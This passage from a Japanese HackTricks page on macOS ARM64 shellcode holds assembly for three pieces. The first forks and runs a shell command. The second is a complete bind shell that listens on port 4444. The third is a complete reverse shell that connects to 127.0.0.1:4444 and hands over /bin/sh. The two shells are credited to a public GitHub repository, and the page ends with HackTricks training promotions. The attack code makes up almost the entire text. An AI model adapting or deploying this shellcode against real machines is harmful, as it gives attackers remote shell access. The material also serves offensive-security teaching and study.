mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell は https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s(port 4444)
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
出典: https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell to 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks